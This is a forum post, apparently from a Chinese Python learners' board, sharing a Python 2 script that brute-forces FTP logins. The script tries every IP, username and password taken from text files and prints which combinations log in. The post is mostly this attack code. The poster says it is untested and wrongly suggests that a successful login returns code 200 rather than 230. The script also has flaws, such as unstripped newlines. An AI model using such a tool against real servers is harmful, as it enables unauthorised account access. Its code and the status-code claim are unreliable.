libo 发表于 2018-6-21 22:23:12

FTP帐号密码暴力破解小工具(新手学python)

群内一童鞋写的ftp暴力破解小工具,主要用到了FTP模块,功能很简单,不大实用,还有很多需要改进的地方,贴上代码:



from ftplib import FTP
import time
def ConnectFtp(ftpAddress,user,password):
    for myaddress in ftpAddress:
      f=FTP(myaddress)
      for myuser in user:
            for mypass in password:
                try:
                  s=f.login(myuser,mypass)
                  if '230' in s:
                        print 'login success,ip:',myaddress,'user:',myuser,'password:',mypass
                        f.quit()
                  else:
                        print myaddress,'   user:',myuser,'password:',mypass,'',s
                except Exception,e:
                  #info=str(e)
                  print myaddress,'user:',myuser,'password:',mypass,'',e

def GetList(fileAddress):
    #myFileContent=[]   
    myfile=open(fileAddress,'r')
    myFileContent=myfile.readlines()
    #fori in myFileContent:
      #print i
    return myFileContent

if __name__=="__main__":
    ip=GetList("ip.txt") #ip
    user=GetList("user.txt")#用户名
    password=GetList("password.txt")#密码
    ConnectFtp(ip,user,password)


主要功能是从ip.txt,user.txt,password.txt中获取帐号和密码还有ip地址,尝试登录,判断返回错误是否是230.
我没测试,目测应该有点问题,登录成功应该是200,不是230吧?主要是学学python,练练手!
页: [1]
查看完整版本: FTP帐号密码暴力破解小工具(新手学python)